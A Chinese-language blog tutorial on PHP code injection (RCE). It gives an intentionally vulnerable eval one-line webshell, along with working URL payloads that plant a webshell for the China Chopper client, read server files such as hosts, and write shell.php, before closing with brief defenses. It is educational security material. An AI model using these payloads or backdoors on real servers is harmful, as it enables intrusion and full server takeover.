代码(执行)注入

一、PHP代码注入 

代码注入(执行)是指应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。类似于SQL注入,不同的是,SQL注入到数据库执行,而代码执行将注入到应用中最终由服务器运行它。相当于直接有一个web后门的存在。常见的是远程代码执行,简称RCE。

原因:

1.程序中含有可以执行php代码的函数或者语言结构。

2.传入第一点中的参数,客户端可控,直接修改或者影响。

危害:可以继承web用户权限,执行任意代码。读写目标服务器任意文件,控制整个服务器。

二、相关函数语句

1.eval()

eval()会将字符串当作php代码执行。

测试代码(一句话木马):

<?php
if(isset($_REQUSET['code'])){
	@$str=$_REQUEST['code'];
	eval($str);
}
?>

注: request   预定义超全局数组变量,get、post、cookie传参在request下都能接收的到。

传参方式,在URL路径后面加上:

?code=phpinfo();     或者     ?code=${phpinfo()} ;    或者     ?code=1;phpinfo();

eval()函数可执行多条件语句,在后面加   ;   执行。

2.assert()

同样作为php代码执行

3.preg_replace()

对字符串进行正则处理。

4.call_user_func()

有调用其他函数的功能,该函数的第一个值作为回调函数,后面的值作为回调函数的参数。

5.动态函数:$a($b)

由直接拼接的方式调用

三、漏洞利用

1.直接获取shell

提交参数[?code=@eval($_post[1]);],即可构成一句话木马,密码为[1],可使用菜刀连接。

2.获取当前文件的绝对路径

__FILE__是PHP  预定义常量,其含义是当前文件的路径,提交代码[?code=print(__FILE__);]

3.读文件

利用file_get_contents()函数读取服务器任意文件,前提是知道目标文件路径和读取权限。

提交代码:

?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));

读取服务器hosts文件。

4.写文件

利用file_put_contents()函数,写入文件。前提是知道可写目录。

提交代码:

?code=var_dump(file_put_contents($_POST[1],$_POST[2]));

要借助hackbar工具post提交参数

1=shell.php&2=<?php phpinfo()?>

即可在当前目录下创建一个文件shell.php

四、防御方法

1.尽量不要使用eval等函数

2.如果使用的话一定要严格过滤

3.preg_replace放弃使用/e修饰符

4.disable_functions=assert

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

RootZY

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值